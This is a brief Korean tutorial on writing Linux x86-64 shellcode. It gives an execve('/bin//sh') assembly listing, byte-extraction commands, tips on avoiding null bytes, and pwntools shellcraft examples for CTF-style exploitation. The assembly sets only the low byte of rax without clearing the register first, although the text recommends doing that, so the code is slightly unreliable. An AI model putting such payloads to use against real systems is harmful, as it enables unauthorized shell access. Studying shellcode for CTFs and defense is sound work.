Shellcode 작성 기초 — 어셈블리부터 바이트로
Shellcode는 취약점을 익스플로잇할 때 실행시키고자 하는 raw 머신코드 바이트 시퀀스다. Buffer overflow나 ROP chain의 페이로드로 삽입되며, CTF의 단골 소재이기도 하다.
가장 간단한 예제: execve("/bin/sh")
x86-64 리눅스 기준 최소 쉘코드:
xor rdi, rdi ; rdi = NULL
push rdi
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" (리틀 엔디언)
push rdi
mov rdi, rsp ; rdi → "/bin//sh"
xor rsi, rsi ; argv = NULL
xor rdx, rdx ; envp = NULL
mov al, 59 ; syscall: execve
syscall
nasm으로 컴파일 후 objdump로 바이트 추출:
nasm -f elf64 shell.asm -o shell.o
objdump -d shell.o | grep -Po '(?<=:\t)([0-9a-f]{2} )+'
Null Byte 회피
strcpy 계열 함수는 \x00에서 복사를 멈춘다. xor rax, rax 패턴으로 null 없이 레지스터를 0으로 만든다.
실습 도구
- pwntools —
shellcraft.sh()로 자동 생성 - msfvenom — 다양한 인코더로 bad byte 회피
- shellcraft + flat() — 원라이너 페이로드
from pwn import *
context(arch='amd64', os='linux')
print(shellcraft.sh())
payload = flat(asm(shellcraft.sh()))
Shellcode 작성의 핵심은 syscall 번호 암기 + bad byte 회피 + 크기 최소화. 여기서 막히면 strace로 syscall 흐름부터 분석하자.